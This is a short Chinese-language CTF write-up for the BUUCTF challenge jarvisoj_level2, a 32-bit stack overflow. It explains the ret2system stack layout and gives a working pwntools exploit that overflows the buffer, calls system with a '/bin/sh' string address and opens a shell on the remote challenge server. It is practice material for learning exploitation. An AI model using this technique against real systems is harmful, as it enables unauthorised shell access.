BUUCTF—jarvisoj_level2
先看看开了什么保护机制

然后打开32位ida

直接一个栈溢出,然后去找找看看有没有后门函数

可惜没有,不过有system函数,然后去找找看参数在不在

也在,挺好的,然后32位不用pop的gadget,32位的分布是这样子的,返回地址+下一次的返回地址+参数1+参数2+...
这样子因为我们下一次返回地址是啥都行,我们拿到shell就跑了,所以直接为0


from pwn import*
p=remote('node4.buuoj.cn',28084)
#p=process('./level2')
#gdb.attach(p)
binsh=0x0804a024
system=0x08048320
p.recvuntil('Input:\n')
payload=b'a'*(0x88+0x4)+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

浙公网安备 33010602011771号